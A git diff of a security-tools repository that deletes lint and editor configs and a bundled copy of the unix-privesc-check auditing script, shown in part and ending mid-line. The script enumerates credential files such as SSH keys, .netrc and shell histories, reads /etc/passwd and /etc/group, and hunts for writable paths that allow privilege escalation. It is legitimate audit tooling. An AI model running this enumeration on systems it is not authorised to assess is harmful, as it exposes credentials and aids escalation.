diff --git a/.gitignore b/.gitignore index b2093e4..3dcfe31 100644 --- a/.gitignore +++ b/.gitignore @@ -1,14 +1,13 @@ .idea/ -sword/output.html -sword/output.txt +.vscode dev/ .DS_Store -cco.pyc pefdefs.pyc imports/*.pyc htmlanalyzer/index.html -sword/OUTPUT /dirscan/10000folders.txt /dirscan/1000folders.txt *.pyc *.log - +.history/ +.env +vendor/ diff --git a/.pylintrc b/.pylintrc deleted file mode 100644 index 7b7a555..0000000 --- a/.pylintrc +++ /dev/null @@ -1,407 +0,0 @@ -[MASTER] - -# Specify a configuration file. -#rcfile= - -# Python code to execute, usually for sys.path manipulation such as -# pygtk.require(). -#init-hook= - -# Add files or directories to the blacklist. They should be base names, not -# paths. -ignore=CVS - -# Add files or directories matching the regex patterns to the blacklist. The -# regex matches against base names, not paths. -ignore-patterns= - -# Pickle collected data for later comparisons. -persistent=yes - -# List of plugins (as comma separated values of python modules names) to load, -# usually to register additional checkers. -load-plugins= - -# Use multiple processes to speed up Pylint. -jobs=1 - -# Allow loading of arbitrary C extensions. Extensions are imported into the -# active Python interpreter and may run arbitrary code. -unsafe-load-any-extension=no - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code -extension-pkg-whitelist= - -# Allow optimization of some AST trees. This will activate a peephole AST -# optimizer, which will apply various small optimizations. For instance, it can -# be used to obtain the result of joining multiple strings with the addition -# operator. Joining a lot of strings can lead to a maximum recursion error in -# Pylint and this flag can prevent that. It has one side effect, the resulting -# AST will be different than the one from reality. This option is deprecated -# and it will be removed in Pylint 2.0. -optimize-ast=no - - -[MESSAGES CONTROL] - -# Only show warnings with the listed confidence levels. Leave empty to show -# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED -confidence= - -# Enable the message, report, category or checker with the given id(s). You can -# either give multiple identifier separated by comma (,) or put this option -# multiple time (only on the command line, not in the configuration file where -# it should appear only once). See also the "--disable" option for examples. -#enable= - -# Disable the message, report, category or checker with the given id(s). You -# can either give multiple identifiers separated by comma (,) or put this -# option multiple times (only on the command line, not in the configuration -# file where it should appear only once).You can also use "--disable=all" to -# disable everything first and then reenable specific checks. For example, if -# you want to run only the similarities checker, you can use "--disable=all -# --enable=similarities". If you want to run only the classes checker, but have -# no Warning level messages displayed, use"--disable=all --enable=classes -# --disable=W" -disable=import-star-module-level,old-octal-literal,oct-method,print-statement,unpacking-in-except,parameter-unpacking,backtick,old-raise-syntax,old-ne-operator,long-suffix,dict-view-method,dict-iter-method,metaclass-assignment,next-method-called,raising-string,indexing-exception,raw_input-builtin,long-builtin,file-builtin,execfile-builtin,coerce-builtin,cmp-builtin,buffer-builtin,basestring-builtin,apply-builtin,filter-builtin-not-iterating,using-cmp-argument,useless-suppression,range-builtin-not-iterating,suppressed-message,no-absolute-import,old-division,cmp-method,reload-builtin,zip-builtin-not-iterating,intern-builtin,unichr-builtin,reduce-builtin,standarderror-builtin,unicode-builtin,xrange-builtin,coerce-method,delslice-method,getslice-method,setslice-method,input-builtin,round-builtin,hex-method,nonzero-method,map-builtin-not-iterating - - -[REPORTS] - -# Set the output format. Available formats are text, parseable, colorized, msvs -# (visual studio) and html. You can also give a reporter class, eg -# mypackage.mymodule.MyReporterClass. -output-format=text - -# Put messages in a separate file for each module / package specified on the -# command line instead of printing them on stdout. Reports (if any) will be -# written in a file name "pylint_global.[txt|html]". This option is deprecated -# and it will be removed in Pylint 2.0. -files-output=no - -# Tells whether to display a full report or only the messages -reports=yes - -# Python expression which should return a note less than 10 (10 is the highest -# note). You have access to the variables errors warning, statement which -# respectively contain the number of errors / warnings messages and the total -# number of statements analyzed. This is used by the global evaluation report -# (RP0004). -evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) - -# Template used to display messages. This is a python new-style format string -# used to format the message information. See doc for all details -#msg-template= - - -[BASIC] - -# Good variable names which should always be accepted, separated by a comma -good-names=i,j,k,ex,Run,_ - -# Bad variable names which should always be refused, separated by a comma -bad-names=foo,bar,baz,toto,tutu,tata - -# Colon-delimited sets of names that determine each other's naming style when -# the name regexes allow several styles. -name-group= - -# Include a hint for the correct naming format with invalid-name -include-naming-hint=no - -# List of decorators that produce properties, such as abc.abstractproperty. Add -# to this list to register other decorators that produce valid properties. -property-classes=abc.abstractproperty - -# Regular expression matching correct function names -function-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for function names -function-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct variable names -variable-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for variable names -variable-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct constant names -const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Naming hint for constant names -const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Regular expression matching correct attribute names -attr-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for attribute names -attr-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct argument names -argument-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for argument names -argument-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct class attribute names -class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Naming hint for class attribute names -class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Regular expression matching correct inline iteration names -inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ - -# Naming hint for inline iteration names -inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ - -# Regular expression matching correct class names -class-rgx=[A-Z_][a-zA-Z0-9]+$ - -# Naming hint for class names -class-name-hint=[A-Z_][a-zA-Z0-9]+$ - -# Regular expression matching correct module names -module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Naming hint for module names -module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Regular expression matching correct method names -method-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for method names -method-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression which should only match function or class names that do -# not require a docstring. -no-docstring-rgx=^_ - -# Minimum line length for functions/classes that require docstrings, shorter -# ones are exempt. -docstring-min-length=-1 - - -[ELIF] - -# Maximum number of nested blocks for function / method body -max-nested-blocks=5 - - -[FORMAT] - -# Maximum number of characters on a single line. -max-line-length=100 - -# Regexp for a line that is allowed to be longer than the limit. -ignore-long-lines=^\s*(# )??$ - -# Allow the body of an if to be on the same line as the test if there is no -# else. -single-line-if-stmt=no - -# List of optional constructs for which whitespace checking is disabled. `dict- -# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. -# `trailing-comma` allows a space between comma and closing bracket: (a, ). -# `empty-line` allows space-only lines. -no-space-check=trailing-comma,dict-separator - -# Maximum number of lines in a module -max-module-lines=1000 - -# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 -# tab). -indent-string=' ' - -# Number of spaces of indent required inside a hanging or continued line. -indent-after-paren=4 - -# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. -expected-line-ending-format= - - -[LOGGING] - -# Logging modules to check that the string format arguments are in logging -# function parameter format -logging-modules=logging - - -[MISCELLANEOUS] - -# List of note tags to take in consideration, separated by a comma. -notes=FIXME,XXX,TODO - - -[SIMILARITIES] - -# Minimum lines number of a similarity. -min-similarity-lines=4 - -# Ignore comments when computing similarities. -ignore-comments=yes - -# Ignore docstrings when computing similarities. -ignore-docstrings=yes - -# Ignore imports when computing similarities. -ignore-imports=no - - -[SPELLING] - -# Spelling dictionary name. Available dictionaries: none. To make it working -# install python-enchant package. -spelling-dict= - -# List of comma separated words that should not be checked. -spelling-ignore-words= - -# A path to a file that contains private dictionary; one word per line. -spelling-private-dict-file= - -# Tells whether to store unknown words to indicated private dictionary in -# --spelling-private-dict-file option instead of raising a message. -spelling-store-unknown-words=no - - -[TYPECHECK] - -# Tells whether missing members accessed in mixin class should be ignored. A -# mixin class is detected if its name ends with "mixin" (case insensitive). -ignore-mixin-members=yes - -# List of module names for which member attributes should not be checked -# (useful for modules/projects where namespaces are manipulated during runtime -# and thus existing member attributes cannot be deduced by static analysis. It -# supports qualified module names, as well as Unix pattern matching. -ignored-modules= - -# List of class names for which member attributes should not be checked (useful -# for classes with dynamically set attributes). This supports the use of -# qualified names. -ignored-classes=optparse.Values,thread._local,_thread._local - -# List of members which are set dynamically and missed by pylint inference -# system, and so shouldn't trigger E1101 when accessed. Python regular -# expressions are accepted. -generated-members= - -# List of decorators that produce context managers, such as -# contextlib.contextmanager. Add to this list to register other decorators that -# produce valid context managers. -contextmanager-decorators=contextlib.contextmanager - - -[VARIABLES] - -# Tells whether we should check for unused import in __init__ files. -init-import=no - -# A regular expression matching the name of dummy variables (i.e. expectedly -# not used). -dummy-variables-rgx=(_+[a-zA-Z0-9]*?$)|dummy - -# List of additional names supposed to be defined in builtins. Remember that -# you should avoid to define new builtins when possible. -additional-builtins= - -# List of strings which can identify a callback function by name. A callback -# name must start or end with one of those strings. -callbacks=cb_,_cb - -# List of qualified module names which can have objects that can redefine -# builtins. -redefining-builtins-modules=six.moves,future.builtins - - -[CLASSES] - -# List of method names used to declare (i.e. assign) instance attributes. -defining-attr-methods=__init__,__new__,setUp - -# List of valid names for the first argument in a class method. -valid-classmethod-first-arg=cls - -# List of valid names for the first argument in a metaclass class method. -valid-metaclass-classmethod-first-arg=mcs - -# List of member names, which should be excluded from the protected access -# warning. -exclude-protected=_asdict,_fields,_replace,_source,_make - - -[DESIGN] - -# Maximum number of arguments for function / method -max-args=5 - -# Argument names that match this expression will be ignored. Default to name -# with leading underscore -ignored-argument-names=_.* - -# Maximum number of locals for function / method body -max-locals=15 - -# Maximum number of return / yield for function / method body -max-returns=6 - -# Maximum number of branch for function / method body -max-branches=12 - -# Maximum number of statements in function / method body -max-statements=50 - -# Maximum number of parents for a class (see R0901). -max-parents=7 - -# Maximum number of attributes for a class (see R0902). -max-attributes=7 - -# Minimum number of public methods for a class (see R0903). -min-public-methods=2 - -# Maximum number of public methods for a class (see R0904). -max-public-methods=20 - -# Maximum number of boolean expressions in a if statement -max-bool-expr=5 - - -[IMPORTS] - -# Deprecated modules which should not be used, separated by a comma -deprecated-modules=regsub,TERMIOS,Bastion,rexec - -# Create a graph of every (i.e. internal and external) dependencies in the -# given file (report RP0402 must not be disabled) -import-graph= - -# Create a graph of external dependencies in the given file (report RP0402 must -# not be disabled) -ext-import-graph= - -# Create a graph of internal dependencies in the given file (report RP0402 must -# not be disabled) -int-import-graph= - -# Force import order to recognize a module as part of the standard -# compatibility libraries. -known-standard-library= - -# Force import order to recognize a module as part of a third party library. -known-third-party=enchant - -# Analyse import fallback blocks. This can be used to support both Python 2 and -# 3 compatible code, which means that the block might have code that exists -# only in one or another interpreter, leading to false positives when analysed. -analyse-fallback-blocks=no - - -[EXCEPTIONS] - -# Exceptions that will emit a warning when being caught. Defaults to -# "Exception" -overgeneral-exceptions=Exception diff --git a/.vscode/.ropeproject/config.py b/.vscode/.ropeproject/config.py deleted file mode 100644 index d1e8f3d..0000000 --- a/.vscode/.ropeproject/config.py +++ /dev/null @@ -1,100 +0,0 @@ -# The default ``config.py`` -# flake8: noqa - - -def set_prefs(prefs): - """This function is called before opening the project""" - - # Specify which files and folders to ignore in the project. - # Changes to ignored resources are not added to the history and - # VCSs. Also they are not returned in `Project.get_files()`. - # Note that ``?`` and ``*`` match all characters but slashes. - # '*.pyc': matches 'test.pyc' and 'pkg/test.pyc' - # 'mod*.pyc': matches 'test/mod1.pyc' but not 'mod/1.pyc' - # '.svn': matches 'pkg/.svn' and all of its children - # 'build/*.o': matches 'build/lib.o' but not 'build/sub/lib.o' - # 'build//*.o': matches 'build/lib.o' and 'build/sub/lib.o' - prefs['ignored_resources'] = ['*.pyc', '*~', '.ropeproject', - '.hg', '.svn', '_svn', '.git', '.tox'] - - # Specifies which files should be considered python files. It is - # useful when you have scripts inside your project. Only files - # ending with ``.py`` are considered to be python files by - # default. - #prefs['python_files'] = ['*.py'] - - # Custom source folders: By default rope searches the project - # for finding source folders (folders that should be searched - # for finding modules). You can add paths to that list. Note - # that rope guesses project source folders correctly most of the - # time; use this if you have any problems. - # The folders should be relative to project root and use '/' for - # separating folders regardless of the platform rope is running on. - # 'src/my_source_folder' for instance. - #prefs.add('source_folders', 'src') - - # You can extend python path for looking up modules - #prefs.add('python_path', '~/python/') - - # Should rope save object information or not. - prefs['save_objectdb'] = True - prefs['compress_objectdb'] = False - - # If `True`, rope analyzes each module when it is being saved. - prefs['automatic_soa'] = True - # The depth of calls to follow in static object analysis - prefs['soa_followed_calls'] = 0 - - # If `False` when running modules or unit tests "dynamic object - # analysis" is turned off. This makes them much faster. - prefs['perform_doa'] = True - - # Rope can check the validity of its object DB when running. - prefs['validate_objectdb'] = True - - # How many undos to hold? - prefs['max_history_items'] = 32 - - # Shows whether to save history across sessions. - prefs['save_history'] = True - prefs['compress_history'] = False - - # Set the number spaces used for indenting. According to - # :PEP:`8`, it is best to use 4 spaces. Since most of rope's - # unit-tests use 4 spaces it is more reliable, too. - prefs['indent_size'] = 4 - - # Builtin and c-extension modules that are allowed to be imported - # and inspected by rope. - prefs['extension_modules'] = [] - - # Add all standard c-extensions to extension_modules list. - prefs['import_dynload_stdmods'] = True - - # If `True` modules with syntax errors are considered to be empty. - # The default value is `False`; When `False` syntax errors raise - # `rope.base.exceptions.ModuleSyntaxError` exception. - prefs['ignore_syntax_errors'] = False - - # If `True`, rope ignores unresolvable imports. Otherwise, they - # appear in the importing namespace. - prefs['ignore_bad_imports'] = False - - # If `True`, rope will insert new module imports as - # `from import ` by default. - prefs['prefer_module_from_imports'] = False - - # If `True`, rope will transform a comma list of imports into - # multiple separate import statements when organizing - # imports. - prefs['split_imports'] = False - - # If `True`, rope will sort imports alphabetically by module name - # instead of alphabetically by import statement, with from imports - # after normal imports. - prefs['sort_imports_alphabetically'] = False - - -def project_opened(project): - """This function is called after opening the project""" - # Do whatever you like here! diff --git a/.vscode/.ropeproject/objectdb b/.vscode/.ropeproject/objectdb deleted file mode 100644 index 0a47446..0000000 Binary files a/.vscode/.ropeproject/objectdb and /dev/null differ diff --git a/README.md b/README.md index 4b202b0..ba52965 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ security-tools ============== -Collection of simple security tools created in Python. \ No newline at end of file +Small security related tools created in Python and Bash for CTF players, bug bounty hunters, pentesters and developers. diff --git a/__not_mine/linuxprivchecker.sh b/__not_mine/linuxprivchecker.sh deleted file mode 100644 index 6376e61..0000000 --- a/__not_mine/linuxprivchecker.sh +++ /dev/null @@ -1,1086 +0,0 @@ -#!/bin/sh -# unix-privesc-check - Checks Unix system for simple privilege escalations -# Copyright (C) 2008 pentestmonkey@pentestmonkey.net -# -# -# License -# ------- -# This tool may be used for legal purposes only. Users take full responsibility -# for any actions performed using this tool. The author accepts no liability -# for damage caused by this tool. If you do not accept these condition then -# you are prohibited from using this tool. -# -# In all other respects the GPL version 2 applies: -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License version 2 as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# You are encouraged to send comments, improvements or suggestions to -# me at pentestmonkey@pentestmonkey.net -# -# -# Description -# ----------- -# Auditing tool to check for weak file permissions and other problems that -# may allow local attackers to escalate privileges. -# -# It is intended to be run by security auditors and pentetration testers -# against systems they have been engaged to assess, and also by system -# admnisitrators who want to check for "obvious" misconfigurations. It -# can even be run as a cron job so you can check regularly for misconfigurations -# that might be introduced. -# -# Ensure that you have the appropriate legal permission before running it -# someone else's system. -# -# TODO List -# --------- -# There's still plenty that this script doesn't do... -# - Doesn't work for shell scripts! These appear as "/bin/sh my.sh" in the process listing. -# This script only checks the perms of /bin/sh. Not what we're after. :-( -# - Similarly for perl scripts. Probably python, etc. too. -# - Check /proc/pid/cmdline for absolute path names. Check security of these (e.g. /etc/snmp/snmpd.conf) -# - Check everything in root's path - how to find root's path? -# - /proc/pid/maps, smaps are readable and lists some shared objects. We should check these. -# - /proc/pid/fd contain symlinks to all open files (but you can't see other people FDs) -# - check for trust relationships in /etc/hosts.equiv -# - NFS imports / exports / automounter -# - Insecure stuff in /etc/fstab (e.g. allowing users to mount file systems) -# - Inspecting people's PATH. tricky. maybe read from /proc/pid/environ, .bashrc, /etc/profile, .bash_profile -# - Check if /etc/init.d/* scripts are readable. Advise user to audit them if they are. -# - .exrc? -# - X11 trusts, apache passwd files, mysql trusts? -# - Daemons configured in an insecure way: tftpd, sadmind, rexd -# - World writable dirs aren't as bad if the sticky bit is set. Check for this before reporting vulns. -# - Maybe do a strings of binaries (and their .so's?) -# - Do a better job of parsing cron lines - search for full paths -# - Maybe LDPATHs from /etc/env.d -# - Check if ldd, ld.so.conf changes have broken this script on non-linux systems. -# - Avoid check certain paths e.g. /-/_ clearly isn't a real directory. -# - create some sort of readable report -# - indicate when it's likely a result is a false positive and when it's not. -# - Skip pseudo processes e.g. [usb-storage] -# - File permission on kernel modules -# - Replace calls to echo with a my_echo func. Should be passed a string and an "importance" value: -# - my_echo 1 "This is important and should always be printed out" -# - my_echo 2 "This is less important and should only be printed in verbose mode" -# - We check some files / dirs multiple times. Slow. Can we implement a cache? -# - grep for PRIVATE KEY to find private ssh and ssl keys. Where to grep? -# - check SGID programs - -VERSION="1.4" -HOME_DIR_FILES=".netrc .ssh/id_rsa .ssh/id_dsa .rhosts .shosts .my.cnf .ssh/authorized_keys .bash_history .sh_history .forward" -CONFIG_FILES="/etc/passwd /etc/group /etc/master.passwd /etc/inittab /etc/inetd.conf /etc/xinetd.con /etc/xinetd.d/* /etc/contab /etc/fstab /etc/profile /etc/sudoers" -PGDIRS="/usr/local/pgsql/data ~postgres/postgresql/data ~postgres/data ~pgsql/data ~pgsql/pgsql/data /var/lib/postgresql/data /etc/postgresql/8.2/main /var/lib/pgsql/data" - -get_owner () { - GET_OWNER_FILE=$1 - GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print $3}'` -} - -get_group () { - GET_GROUP_FILE=$1 - GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print $4}'` -} - -usage () { - echo "unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" - echo - echo "Usage: unix-privesc-check { standard | detailed }" - echo - echo '"standard" mode: Speed-optimised check of lots of security settings.' - echo - echo '"detailed" mode: Same as standard mode, but also checks perms of open file' - echo ' handles and called files (e.g. parsed from shell scripts,' - echo ' linked .so files). This mode is slow and prone to false ' - echo ' positives but might help you find more subtle flaws in 3rd' - echo ' party programs.' - echo - echo "This script checks file permissions and other settings that could allow" - echo "local users to escalate privileges." - echo - echo "Use of this script is only permitted on systems which you have been granted" - echo "legal permission to perform a security assessment of. Apart from this " - echo "condition the GPL v2 applies." - echo - echo "Search the output for the word 'WARNING'. If you don't see it then this" - echo "script didn't find any problems." - echo -} - -banner () { - echo "Starting unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" - echo - echo "This script checks file permissions and other settings that could allow" - echo "local users to escalate privileges." - echo - echo "Use of this script is only permitted on systems which you have been granted" - echo "legal permission to perform a security assessment of. Apart from this " - echo "condition the GPL v2 applies." - echo - echo "Search the output below for the word 'WARNING'. If you don't see it then" - echo "this script didn't find any problems." - echo -} - -MODE=$1 - -if [ ! "$MODE" = "standard" ] && [ ! "$MODE" = "detailed" ]; then - usage - exit 0 -fi - -# Parse any full paths from $1 (config files, progs, dirs). -# Check the permissions on each of these. -check_called_programs () { - CCP_MESSAGE_STACK=$1 - CCP_FILE=$2 - CCP_USER=$3 - CCP_PATH=$4 # optional - - # Check the perms of the supplied file regardless - # The caller doesn't want to have to call check_perms as well as check_called_programs - check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" - - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Check if file is text or not - IS_TEXT=`file "$CCP_FILE" | grep -i text` - IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` - - # Process shell scripts (would also work on config files that reference other files) - if [ ! -z "$IS_TEXT" ]; then - # Parse full paths from file - ignoring commented lines - CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` - for CALLED_FILE in $CALLED_FILES; do - # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - else - # Process dynamically linked binaries - if [ ! -z "$IS_DYNBIN" ]; then - - CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` - for CALLED_FILE in $CALLED_FILES; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - - # Strings binary to look for hard-coded config files - # or other programs that might be called. - for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - fi - fi -} - -# Parse any full paths from $1 (config files, progs, dirs). -# Check the permissions on each of these. -check_called_programs_suid () { - CCP_FILE=$1 - CCP_PATH=$2 # optional - - get_owner $CCP_FILE; CCP_USER=$GET_OWNER_RETURN - CCP_MESSAGE_STACK="$CCP_FILE is SUID $CCP_USER." - LS=`ls -l $CCP_FILE` - echo "Checking SUID-$CCP_USER program $CCP_FILE: $LS" - - # Don't check perms of executable itself - # check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" - - # Check if file is text or not - IS_TEXT=`file "$CCP_FILE" | grep -i text` - IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` - - # Process shell scripts (would also work on config files that reference other files) - if [ ! -z "$IS_TEXT" ]; then - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Parse full paths from file - ignoring commented lines - CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` - for CALLED_FILE in $CALLED_FILES; do - # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - else - # Process dynamically linked binaries - if [ ! -z "$IS_DYNBIN" ]; then - - CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` - for CALLED_FILE in $CALLED_FILES; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Strings binary to look for hard-coded config files - # or other programs that might be called. - for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - fi - fi -} - -# Check if $1 can be changed by users who are not $2 -check_perms () { - CP_MESSAGE_STACK=$1 - CHECK_PERMS_FILE=$2 - CHECK_PERMS_USER=$3 - CHECK_PERMS_PATH=$4 # optional - - if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -d "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then - CHECK_PERMS_FOUND=0 - if [ ! -z "$CHECK_PERMS_PATH" ]; then - # Look for it in the supplied path - for DIR in `echo "$CHECK_PERMS_PATH" | sed 's/:/ /g'`; do - if [ -f "$DIR/$CHECK_PERMS_FILE" ]; then - CHECK_PERMS_FOUND=1 - CHECK_PERMS_FILE="$DIR/$CHECK_PERMS_FILE" - break - fi - done - fi - - #if [ "$CHECK_PERMS_FOUND" = "0" ]; then - # echo "ERROR: File $CHECK_PERMS_FILE doesn't exist. Checking parent path anyway." - # # return 0 - # fi - fi - - C=`echo "$CHECK_PERMS_FILE" | cut -c 1` - if [ ! "$C" = "/" ]; then - echo "ERROR: Can't find absolute path for $CHECK_PERMS_FILE. Skipping." - return 0 - fi - - echo " Checking if anyone except $CHECK_PERMS_USER can change $CHECK_PERMS_FILE" - - while [ -n "$CHECK_PERMS_FILE" ]; do - perms_secure "$CP_MESSAGE_STACK" $CHECK_PERMS_FILE $CHECK_PERMS_USER - CHECK_PERMS_FILE=`echo $CHECK_PERMS_FILE | sed 's/\/[^\/]*$//'` - done -} - -# Check if $1 can be read by users who are not $2 -check_read_perms () { - CP_MESSAGE_STACK=$1 - CHECK_PERMS_FILE=$2 - CHECK_PERMS_USER=$3 - - if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then - echo "ERROR: File $CHECK_PERMS_FILE doesn't exist" - return 0 - fi - - echo " Checking if anyone except $CHECK_PERMS_USER can read file $CHECK_PERMS_FILE" - - perms_secure_read "$CP_MESSAGE_STACK" "$CHECK_PERMS_FILE" "$CHECK_PERMS_USER" -} - -perms_secure_read () { - PS_MESSAGE_STACK=$1 - PERMS_SECURE_FILE=$2 - PERMS_SECURE_USER=$3 - - if [ ! -b "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -d "$PERMS_SECURE_FILE" ]; then - echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." - return 0 - fi - - # Check if owner is different (but ignore root ownership, that's OK) - only_user_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check group read perm (but ignore root group, that's OK) - group_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check world read perm - world_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE -} - -perms_secure () { - PS_MESSAGE_STACK=$1 - PERMS_SECURE_FILE=$2 - PERMS_SECURE_USER=$3 - - if [ ! -d "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -b "$PERMS_SECURE_FILE" ]; then - # echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." - return 0 - fi - - # Check if owner is different (but ignore root ownership, that's OK) - only_user_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check group write perm (but ignore root group, that's OK) - group_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check world write perm - world_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE -} - -only_user_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - # We just need to check the owner really as the owner - # can always grant themselves write access - get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN - if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then - echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can write to $O_FILE" - fi -} - -group_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 # ignore group write access $3 is only member of group - - get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN - P=`ls -lLd $O_FILE | cut -c 6` - if [ "$P" = "w" ] && [ ! "$O_GROUP" = "root" ]; then - # check the group actually has some members other than $O_USER - group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 - if [ "$OTHER_MEMBERS" = "1" ]; then - echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can write to $O_FILE" - fi - fi -} - -group_has_other_members () { - G_GROUP=$1 - G_USER=$2 - - # If LDAP/NIS is being used this script can't check group memberships - # we therefore assume the worst. - if [ "$EXT_AUTH" = 1 ]; then - OTHER_MEMBERS=1 - return 1 - fi - - GROUP_LINE=`grep "^$G_GROUP:" /etc/group` - MEMBERS=`echo "$GROUP_LINE" | cut -f 4 -d : | sed 's/,/ /g'` - - GID=`echo "$GROUP_LINE" | cut -f 3 -d :` - EXTRA_MEMBERS=`grep "^[^:]*:[^:]*:[0-9]*:$GID:" /etc/passwd | cut -f 1 -d : | xargs echo` - - for M in $MEMBERS; do - if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then - OTHER_MEMBERS=1 - return 1 - fi - done - - for M in $EXTRA_MEMBERS; do - if [ ! "$M" = 